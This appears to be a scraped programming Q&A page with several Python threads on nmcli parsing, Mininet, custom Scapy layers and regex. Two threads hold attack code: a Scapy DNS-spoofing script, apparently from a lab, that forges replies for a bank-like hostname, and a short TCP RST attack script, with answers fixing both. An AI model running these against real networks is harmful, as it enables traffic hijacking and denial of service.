List comprehension in python error? - python

I want to get the result of nmcli (linux) in a 3D list in python.
The sample output of nmcli device show is
GENERAL.DEVICE: wlan0
GENERAL.TYPE: wifi
GENERAL.HWADDR: :::::
GENERAL.MTU: 1500
GENERAL.STATE: 100 (connected)
GENERAL.CONNECTION:
GENERAL.CON-PATH: /org/freedesktop/NetworkManager/ActiveConnection/2
IP4.ADDRESS[1]: 192.168.1.106/16
IP4.GATEWAY: 192.168.1.1
IP4.ROUTE[1]: dst = 0.0.0.0/0, nh = 192.168.1.1, mt = 600
IP4.ROUTE[2]: dst = 192.168.0.0/16, nh = 0.0.0.0, mt = 600
IP4.DNS[1]: 192.168.1.1
IP6.ADDRESS[1]: :::::::/
IP6.ADDRESS[2]: :::::/
IP6.GATEWAY: :::::
IP6.ROUTE[1]: dst = :::::/, nh = ::, mt = 600
IP6.ROUTE[2]: dst = ::/0, nh = fe80::30ae:bfff:fe20:64d, mt = 600
IP6.ROUTE[3]: dst = ::/, nh = ::, mt = 256, table=255
IP6.ROUTE[4]: dst = ::/, nh = ::, mt = 256
IP6.ROUTE[5]: dst = ::/, nh = ::, mt = 600
IP6.DNS[1]: :::::
IP6.DNS[2]: :::::::
GENERAL.DEVICE: eth0
GENERAL.TYPE: ethernet
GENERAL.HWADDR: :::::
GENERAL.MTU: 1500
GENERAL.STATE: 20 (unavailable)
GENERAL.CONNECTION: --
GENERAL.CON-PATH: --
WIRED-PROPERTIES.CARRIER: off
GENERAL.DEVICE: lo
GENERAL.TYPE: loopback
GENERAL.HWADDR: 00:00:00:00:00:00
GENERAL.MTU: 65536
GENERAL.STATE: 10 (unmanaged)
GENERAL.CONNECTION: --
GENERAL.CON-PATH: --
IP4.ADDRESS[1]: 127.0.0.1/8
IP4.GATEWAY: --
IP6.ADDRESS[1]: ::1/128
IP6.GATEWAY: --
As you can see there are three interfaces : wlan0 , eth0 and lo.
I want a list of columns in a list of rows in a list of interfaces (3D).
I used subprocess to get the result
r1 = subprocess.run(['nmcli', 'device', 'show'], stdout=subprocess.PIPE)
r2 = [y.split() for y in [z.split('\n') for z in r1.split('\n\n')]]
But I get the following error
File "<stdin>", line 1, in <module>
File "<stdin>", line 1, in <listcom>
AttributeError: 'list' object has no attribute 'split'
Any suggestions?
PS: I ran that on python 3.6.3 shell

The result of [z.split('\n') for z in r1.split('\n\n')] is a list of lists, so when you iterate over it you are trying to split a list instead of a string. The error is in y.split().
I think what you want is:
r2 = [[y.split() for y in z.split('\n')] for z in r1.split('\n\n')]

Related

Why Python dns.resolver Doesn't Stop with Scapy's Sniff?

Please Note, the provided answer doesn't solve the problem for me.
In python I have:
resolver_ip = 127.0.0.2
resolver = dns.resolver.Resolver()
resolver.nameservers = [127.0.0.2] # IP of My DNS Server
# Query the DNS resolver for our hostname's IP
result = resolver.query("LetumiBank.com")
print('Bye')
I'm using python's scapy sniff function to detect whenever there is a DNS query to 127.0.0.2 to fake a response such that WEBSITE_NAME will get an ip equal to: 127.0.0.3. My code was:
def sniff_and_spoof(source_ip):
# TODO: Open a socket and bind it to the attacker's IP and WEB_PORT.
# This socket will be used to accept connections from victimized clients.
packet_filter = " and ".join([
"udp dst port 53", # Filter UDP port 53
"udp[10] & 0x80 = 0", # DNS queries only
"dst host 127.0.0.2"
])
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as client_socket:
client_socket.bind((source_ip, WEB_PORT))
client_socket.listen()
cb = lambda org_arg: dns_callback(org_arg, (client_socket, source_ip))
sniff(filter=packet_filter, prn=cb, store=0, iface=net_interface, count=1)
and:
def dns_callback(packet, extra_args):
# TODO: Write callback function for handling DNS packets.
# Sends a spoofed DNS response for a query to HOSTNAME and calls handle_tcp_forwarding() after successful spoof.
eth = Ether(
src=packet[Ether].dst, dst=packet[Ether].src
)
ip = IP(
src=packet[IP].dst, dst=packet[IP].src
)
udp = UDP(
dport=packet[UDP].sport, sport=packet[UDP].dport
)
dns = DNS(
id=packet[DNS].id, qd=packet[DNS].qd,
aa=1, rd=0, qr=1, qdcount=1, ancount=1, nscount=0, arcount=0,
ar=DNSRR(
rrname=packet[DNS].qd.qname,
type='A',
ttl=600,
rdata='127.0.0.3')
)
response_packet = eth / ip / udp / dns
sendp(response_packet, iface=net_interface)
Even though I can see a good response in wireshark the query is being send over and over again and Bye doesn't seem to get ever printed. Why is that?
Wireshark output: (request in line 4 and its response in line 5)
enter image description here
Keeping the code running gives the following error:
result = resolver.query("LetumiBank.com")
File "/usr/lib/python3/dist-packages/dns/resolver.py", line 992, in query
timeout = self._compute_timeout(start, lifetime)
File "/usr/lib/python3/dist-packages/dns/resolver.py", line 799, in _compute_timeout
raise Timeout(timeout=duration)
dns.exception.Timeout: The DNS operation timed out after 30.00104331970215 seconds
UPDATE:
Tried this too, same problem:
eth = Ether(src=packet[Ether].dst, dst=packet[Ether].src)
ip = IP(src=packet[IP].dst, dst=packet[IP].src)
udp = UDP(dport=packet[UDP].sport, sport=packet[UDP].dport)
dns = DNS(
id=packet[DNS].id,
aa=1, rd=0, qr=1, qdcount=1, ancount=1, nscount=0, arcount=0,
qd=DNSQR( # Query
qname=packet[DNSQR].qname
),
an=DNSRR( # Answer
rrname=packet[DNS].qd.qname,
type='A',
rclass=1,
ttl=600,
rdata='127.0.0.3'
)
)
ar=DNSRR() is wrong in your call to DNS().
Your answer should be in the an element. It is unfortunate Scapy uses such small names that are confusing.
You may also need a list because the sections, except the question, are storing multiple records, not just one.
So try an=DNSRR(...) or an=[DNSRR(...)] in your DNS() call.
A DNS packet can have up to 4 sections:
a question, called qd in Scapy
an answer, called an,
an authority, called ns
an additional part, called ar
Your ancount/arcount are right though, so maybe just a typo?
By not sending really a reply (that is the "answer" part of the packet is empty, even if you do reply with a DNS packet") the client does not get an answer for its query and hence its normal behavior is to try to get back hopefully an answer.
Scapy documentation at https://scapy.readthedocs.io/en/latest/api/scapy.layers.dns.html shows this "RFC" like schema:
0 1 2 3
0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| LENGTH | ID |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|Q| OPCODE|A|T|R|R|Z|A|C| RCODE | QDCOUNT |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| ANCOUNT | NSCOUNT |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| ARCOUNT | QD |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| AN | NS |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| AR |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
Fig. DNS
Where the RFC 1035 has:
1 1 1 1 1 1
0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5
+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
| ID |
+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
|QR| Opcode |AA|TC|RD|RA| Z | RCODE |
+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
| QDCOUNT |
+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
| ANCOUNT |
+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
| NSCOUNT |
+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
| ARCOUNT |
+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
for the header and
+---------------------+
| Header |
+---------------------+
| Question | the question for the name server
+---------------------+
| Answer | RRs answering the question
+---------------------+
| Authority | RRs pointing toward an authority
+---------------------+
| Additional | RRs holding additional information
+---------------------+
for the whole packet.
So that explains at least why Answer=AN, Authority=NS and Additional=AR (I have to idea how the last two 2 letters monikers were chosen).
PS: regarding your comment about ttl that "doesn't work" without explanations on what the problem is, I don't see the problem you have (with Scapy 2.4.5):
>>> r=DNSRR(rrname='example.com', type='A', ttl=600, rdata='127.0.0.3')
>>> print(r)
WARNING: Calling str(pkt) on Python 3 makes no sense!
b'\x07example\x03com\x00\x00\x01\x00\x01\x00\x00\x02X\x00\x04\x7f\x00\x00\x03'
>>> r
<DNSRR rrname='example.com' type=A ttl=600 rdata=127.0.0.3 |>
>>> r.ttl
600

Creating a topology using python

I want to build a mininet topology using python API. My topology is supposed to have 2 controllers, 3 switches and each switch will have several hosts connected to it (number of connected hosts is 2, 4, 1 respectively). Here is the code:
#!/usr/bin/python
import time
from mininet.net import Mininet
from mininet.node import Controller, OVSKernelSwitch, RemoteController
from mininet.cli import CLI
from mininet.log import setLogLevel, info
def net():
net = Mininet(controller=RemoteController, switch=OVSKernelSwitch)
c1 = net.addController('c1', controller=RemoteController, ip="127.0.0.1", port=6653)
c2 = net.addController('c2', controller=RemoteController, ip="127.0.0.1", port=7753)
s_n = 3 #number of switches
c_n = 2 #number of controllers
hosts = []
amount = [2, 4, 1] # number of hosts that each switch has
info( "*** Creating switches\n" )
switches = [ net.addSwitch( 's%s' % s ) for s in range( 1, s_n ) ]
index1 = 0
L_in = 0
index2 = 0
info( "*** Creating hosts\n" )
for s in switches:
L_in = (L_in + 1)
if L_in <= len(amount):
index1 = (index2 + 1)
index2 = (index1 + amount[L_in]) - 1
hosts = [ net.addHost( 'h%s' % n ) for n in ( index1, index2 ) ]
for h in hosts:
net.addLink( s, h )
else:
break
# Wire up switches
last = None
for switch in switches:
if last:
net.addLink( last, switch )
last = switch
net.build()
c1.start()
c2.start()
for sw in switches[:c_n]:
sw.start( [c1] )
for sw in switches[c_n:]:
sw.start( [c2] )
net.start()
CLI( net )
net.stop()
if __name__ == '__main__':
setLogLevel( 'info' )
net()
But when I run the code, it is not working correctly. For example, I expect 3 switches, but 2 switches are created. I expect 7 hosts, but 4 hosts are created. The connection between hosts and switches is not correct, too. Here is the output:
*** Creating switches
*** Creating hosts
*** Configuring hosts
h1 h4 h5 h5
*** Starting controller
c1 c2
*** Starting 2 switches
s1 s2 ...
*** Starting CLI:
mininet> net
h1 h1-eth0:s1-eth1
h4 h4-eth0:s1-eth2
h5 h5-eth0:s2-eth2
h5 h5-eth0:s2-eth2
s1 lo: s1-eth1:h1-eth0 s1-eth2:h4-eth0 s1-eth3:s2-eth3
s2 lo: s2-eth1:h5-eth0 s2-eth2:h5-eth0 s2-eth3:s1-eth3
c1
c2
A number of problems here.
range(1, n) produces numbers from 1 no n-1, not to n.
You define function net that will shadow the previous (imported?) definition of module net. Call it make_net or something.
Explicit loop indices like L_in is almost always a bad idea, same as non-descriptive names as index2.
Something like this should give you the idea:
n_switches = 3
hosts_per_switch = [2, 4, 1]
switches = [addSwitch("s%d" % n + 1) for n in range(n_switches)]
for (switch, number_of_hosts) in zip(switches, hosts_per_switch): # Pair them.
hosts = [addHost("h%d" % n + 1) for n in range(number_of_hosts)]
for host in hosts:
addLink(switch, host)

Scapy TCP RST atack

I tried to write TCP RST atack with Scapy,but my code doesn't work.Please,help me to solve my problem.
from scapy.all import *
def poison(packet):
packet[TCP].flags='RST'
sendp(packet)
sniff(filter='tcp',prn=poison)
There's something wrong with flags,I think.There's an error:
Traceback (most recent call last):
File "Univer.py", line 6, in
sniff(filter='tcp',prn=poison)
File "/usr/lib/pymodules/python2.6/scapy/sendrecv.py", line 559, in sniff
r = prn(p)
File "Univer.py", line 3, in poison
packet[TCP].flags='RST'
File "/usr/lib/pymodules/python2.6/scapy/packet.py", line 186, in
setattr
self.setfieldval(attr,val)
File "/usr/lib/pymodules/python2.6/scapy/packet.py", line 175, in
setfieldval
self.fields[attr] = any2i(self, val)
File "/usr/lib/pymodules/python2.6/scapy/fields.py", line 785, in any2i
y |= 1 << self.names.index(i)
ValueError: substring not found
The correct way to set the TCP flags in Scapy is to use the short (one letter) form packet[TCP].flags = 'R'. With the current development version of Scapy, you can get the accepted flags using ls():
>>> ls(TCP, verbose=True)
sport : ShortEnumField = (20)
dport : ShortEnumField = (80)
seq : IntField = (0)
ack : IntField = (0)
dataofs : BitField (4 bits) = (None)
reserved : BitField (3 bits) = (0)
flags : FlagsField (9 bits) = (2)
F, S, R, P, A, U, E, C, N
window : ShortField = (8192)
chksum : XShortField = (None)
urgptr : ShortField = (0)
options : TCPOptionsField = ({})

Scapy: How to access a Custom Layer

I am trying to understand how to add a custom dissector in Scapy. I am using Python 3.4 and Scapy3 if that has any bearing on the result.
I have a stupid class, and the packet.show2() command correctly renders the nested packet. But I can not access the new Layers field values.
Scary Class and bind_layer follows...
from scapy.all import *
#Create simple Class
class DUMBO(Packet):
fields_desc = [
ShortField('ears',0),
ShortField('legs',0),
ShortField('trunk',0)
]
#Inform TCP that ports 9898 are this protocol
bind_layers(TCP, DUMBO, sport=9898, dport=9898)
I make a packet like this
#Make a Packet
pack=IP()/TCP(sport=9898, dport=9898)/Raw(load=b'\x00\x02\x00\x04\x00\x01')
Looking at the Packet I have created using ls yields
version : BitField = 4 (4)
ihl : BitField = None (None)
tos : XByteField = 0 (0)
len : ShortField = None (None)
id : ShortField = 1 (1)
flags : FlagsField = 0 (0)
frag : BitField = 0 (0)
ttl : ByteField = 64 (64)
proto : ByteEnumField = 6 (0)
chksum : XShortField = None (None)
src : Emph = '127.0.0.1' (None)
dst : Emph = '127.0.0.1' ('127.0.0.1')
options : PacketListField = [] ([])
--
sport : ShortEnumField = 9898 (20)
dport : ShortEnumField = 9898 (80)
seq : IntField = 0 (0)
ack : IntField = 0 (0)
dataofs : BitField = None (None)
reserved : BitField = 0 (0)
flags : FlagsField = 2 (2)
window : ShortField = 8192 (8192)
chksum : XShortField = None (None)
urgptr : ShortField = 0 (0)
options : TCPOptionsField = {} ({})
--
load : StrField = b'\x00\x02\x00\x04\x00\x01' (b'')
And display it using Show2 it all looks good
pack.show2()
###[ IP ]###
version = 4
ihl = 5
tos = 0x0
len = 46
id = 1
flags =
frag = 0
ttl = 64
proto = tcp
chksum = 0x7cc7
src = 127.0.0.1
dst = 127.0.0.1
\options \
###[ TCP ]###
sport = monkeycom
dport = monkeycom
seq = 0
ack = 0
dataofs = 5
reserved = 0
flags = S
window = 8192
chksum = 0x447f
urgptr = 0
options = []
###[ DUMBO ]###
ears = 2
legs = 4
trunk = 1
I now want to access the DUMBO Layer fields
But
PACK[DUMBO].ears
Is not correct - as the packet when displayed as pack.show() still has the Payload as Raw....
What am I missing ??
Ok - This is my solution....
pack=IP()/TCP(sport=19898, dport=19898)/Raw(load=b'\x00\x02\x00\x04\x00\x01')
#Cast this packet back
pack=IP(bytes(pack))
pack.show2()
pack.show()
if DUMBO in pack:
print('Elephant in the house')
print('Ears -> {}'.format(pack[DUMBO].ears))
If anyone else can improve on this I would be happy on seeing the solution.
Note: I'm just getting started with Scapy, so I can't promise this is the correct/only way to go.
As per Documentation: Add new protocols to Scapy, put the code with the protocol definition in a seperate python file. Make sure you also set the required headers. Then place that file either in scapy/layers or scapy/contrib.
After that, the protocol can be loaded with load_layer(...) or load_contrib(...) where you plan on using it.
For DUMBO we'll go with contrib.
dumbo.py:
# scapy.contrib.description = Dumbo the elephant
# scapy.contrib.status = loads
from scapy.packet import Packet, bind_layers
from scapy.fields import ShortField
from scapy.layers.inet import TCP
#Create simple Class
class DUMBO(Packet):
fields_desc = [
ShortField('ears',0),
ShortField('legs',0),
ShortField('trunk',0)
]
#Inform TCP that ports 9898 are this protocol
bind_layers(TCP, DUMBO, sport=9898, dport=9898)
Now let's use it:
$ scapy
>>> load_contrib("dumbo")
>>> pack1=IP()/TCP(sport=9898, dport=9898)/DUMBO(b'\x00\x02\x00\x04\x00\x01')
>>> pack2=IP()/TCP(sport=9898, dport=9898)/DUMBO(ears=2, legs=4, trunk=1)
>>> pack1
<IP frag=0 proto=tcp |<TCP sport=9898 dport=9898 |<DUMBO ears=2 legs=4 trunk=1 |>>>
>>> pack2
<IP frag=0 proto=tcp |<TCP sport=9898 dport=9898 |<DUMBO ears=2 legs=4 trunk=1 |>>>
>>> pack1[DUMBO].ears
2
>>> pack2[DUMBO].ears
2
Hope this helps somebody who stumbles upon this question.
Versions used: Python v3.8.5 ; Scapy v2.4.5

Converting multi-line script output to dictionary using regex

I got the following script output:
***************************************************
[g4u2680c]: searching for domains
---------------------------------------------------
host = g4u2680c.houston.example.com
ipaddr = [16.208.16.72]
VLAN = [352]
Gateway= [16.208.16.1]
Subnet = [255.255.248.0]
Subnet = [255.255.248.0]
Cluster= [g4u2679c g4u2680c g9u1484c g9u1485c]
host = g4u2680c.houston.example.com
ipaddr = [16.208.16.72]
VLAN = [352]
Gateway= [16.208.16.1]
Subnet = [255.255.248.0]
Subnet = [255.255.248.0]
Cluster= [g4u2679c g4u2680c g9u1484c g9u1485c]
* script completed Mon Jun 15 06:13:14 UTC 2015 **
* sleeping 30 to avoid DOS on dns via a loop **
I need to extract the 2 host list into a dictionary, with out the brackets.
Here is my code:
#!/bin/env python
import re
text="""***************************************************
[g4u2680c]: searching for domains
---------------------------------------------------
host = g4u2680c.houston.example.com
ipaddr = [16.208.16.72]
VLAN = [352]
Gateway= [16.208.16.1]
Subnet = [255.255.248.0]
Subnet = [255.255.248.0]
Cluster= [g4u2679c g4u2680c g9u1484c g9u1485c]
host = g4u2680c.houston.example.com
ipaddr = [16.208.16.72]
VLAN = [352]
Gateway= [16.208.16.1]
Subnet = [255.255.248.0]
Subnet = [255.255.248.0]
Cluster= [g4u2679c g4u2680c g9u1484c g9u1485c]
* script completed Mon Jun 15 06:13:14 UTC 2015 **
* sleeping 30 to avoid DOS on dns via a loop **
***************************************************
"""
seq = re.compile(r"host.+?\n\n",re.DOTALL)
a=seq.findall(text)
matches = re.findall(r'\w.+=.+', a[0])
matches = [m.split('=', 1) for m in matches]
matches = [ [m[0].strip().lower(), m[1].strip().lower()] for m in matches]
#should have function with regular expression to remove bracket here
d = dict(matches)
print d
What I got so far for the first host:
{'subnet': '[255.255.248.0]', 'vlan': '[352]', 'ipaddr': '[16.208.16.72]', 'cluster': '[g4u2679c g4u2680c g9u1484c g9u1485c]', 'host': 'g4u2680c.houston.example.com', 'gateway': '[16.208.16.1]'}
I need help to find the regex to remove the bracket as the value in the dictionary contain data with and without bracket.
Or if there is a better and simpler way to transform the original script output into dictionary.
You can use: (\w+)\s*=\s*\[?([^\n\]]+)\]?
demo
import re
p = re.compile(ur'(\w+)\s*=\s*\[?([^\n\]]+)\]?', re.MULTILINE)
test_str = u"host = g4u2680c.houston.example.com\n ipaddr = [16.208.16.72]\n VLAN = [352]\n Gateway= [16.208.16.1]\n Subnet = [255.255.248.0]\n Subnet = [255.255.248.0]\n Cluster= [g4u2679c g4u2680c g9u1484c g9u1485c]\n\nhost = g4u2680c.houston.example.com\n ipaddr = [16.208.16.72]\n VLAN = [352]\n Gateway= [16.208.16.1]\n Subnet = [255.255.248.0]\n Subnet = [255.255.248.0]\n Cluster= [g4u2679c g4u2680c g9u1484c g9u1485c]\n"
re.findall(p, test_str)
You can simply use re.findall and dict :
>>> dict([(i,j.strip('[]')) for i,j in re.findall(r'(\w+)\s*=\s*(.+)',text)])
{'Subnet': '255.255.248.0', 'VLAN': '352', 'ipaddr': '16.208.16.72', 'Cluster': 'g4u2679c g4u2680c g9u1484c g9u1485c', 'host': 'g4u2680c.houston.example.com', 'Gateway': '16.208.16.1'}
And about the brackets you can remove them by str.strip method.
You can try out this.
matches = [m.replace('[','').replace(']','').split('=', 1) for m in matches]

Categories

Resources